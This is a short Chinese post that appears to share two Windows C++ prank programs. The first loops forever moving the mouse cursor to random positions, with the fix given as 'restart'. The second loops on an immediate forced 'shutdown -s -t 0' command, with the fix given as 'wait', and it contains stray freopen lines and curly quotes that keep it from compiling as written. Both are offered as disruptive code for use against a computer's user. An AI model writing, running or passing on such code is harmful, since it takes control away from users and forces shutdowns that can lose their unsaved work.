1 鼠标乱晃(解决方法:重启)
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
while(1)
{
SetCursorPos(rand()%1000,rand()%1000);
}
}
2 强制关机(解决方法:等待)
#include<iostream>
#include<cstring>
using namespace std;
int main(){
freopen(“.in”,“r”,stdin);
freopen(“.out”,“w”,stdout);
while(1)system(“shutdown -s -t 0”);
fclose(stdin);
fclose(stdout);
return 0; }